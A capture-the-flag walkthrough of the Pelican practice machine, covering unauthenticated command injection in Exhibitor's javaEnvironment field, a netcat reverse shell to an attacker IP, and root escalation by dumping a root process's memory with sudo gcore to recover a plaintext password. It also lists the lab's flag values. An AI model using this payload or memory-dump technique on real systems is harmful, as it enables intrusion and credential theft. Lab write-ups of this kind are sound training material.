Pelican_writeup

Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Linux


Summary

Pelican runs Apache Exhibitor (ZooKeeper admin UI) on port 8080, vulnerable to an unauthenticated RCE (EDB-48654) via the "javaEnvironment" config field, which is passed to a shell. This gave a shell as charles directly. Privilege escalation abused a passwordless sudo rule allowing charles to run gcore on any process — dumping the core of a running password-store process (running as root) leaked the root password in plaintext.


Service Enumeration

Nmap

nmap -sCV -oN scans/tcp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

Open ports: 22 and 2222 (OpenSSH 7.9p1 Debian), 139/445 (Samba 4.9.5-Debian), 631 (CUPS 2.2), 8080 (Jetty), 8081 (nginx, redirecting to /exhibitor/v1/ui/index.html). UDP scan returned only open|filtered results, nothing confirmed open.

Web (8080) - Exhibitor

http://192.168.178.98:8080/exhibitor/v1/ui/index.html

Searching for Exhibitor vulnerabilities found EDB-48654: the Config tab's "java.env script" field is passed to a shell, and setting javaEnvironment to a command wrapped in $() via the /exhibitor/v1/config/set API achieves unauthenticated RCE.


Initial Access - Exhibitor javaEnvironment RCE (EDB-48654)

curl -X POST -d @data.json http://$IP:8080/exhibitor/v1/config/set

data.json (relevant field):

"javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.45.232 4444 &)"

Shell caught after up to a minute's delay:

Stabilized the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

then stty raw -echo; fg on the attacking machine and export TERM=xterm in the shell.

The resulting shell was the charles user. local.txt found in the home directory:

cd ~
whoami && hostname && cat local.txt

Privilege Escalation - gcore Dump Leaks Root Password

sudo -l
User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

gcore dumps a core file of a running process. Checked running root processes:

ps -u root u

One stood out:

root  513  /usr/bin/password-store

Dumped its memory as root via the passwordless sudo rule:

sudo /usr/bin/gcore 513

The resulting core file was owned by root but readable, and readable:

strings core.513 > 513core.txt
grep -A3 -B3 root 513core.txt

This surfaced the root password in plaintext in the process memory:

001 Password: root:
ClogKingpinInning731

proof.txt found under /root:

su -
whoami && hostname && cat proof.txt


Flags

Flag Value
local.txt 342fad4b49411064ecf6922591d33a1c
proof.txt 6f62451949763443a8074ae090ca98eb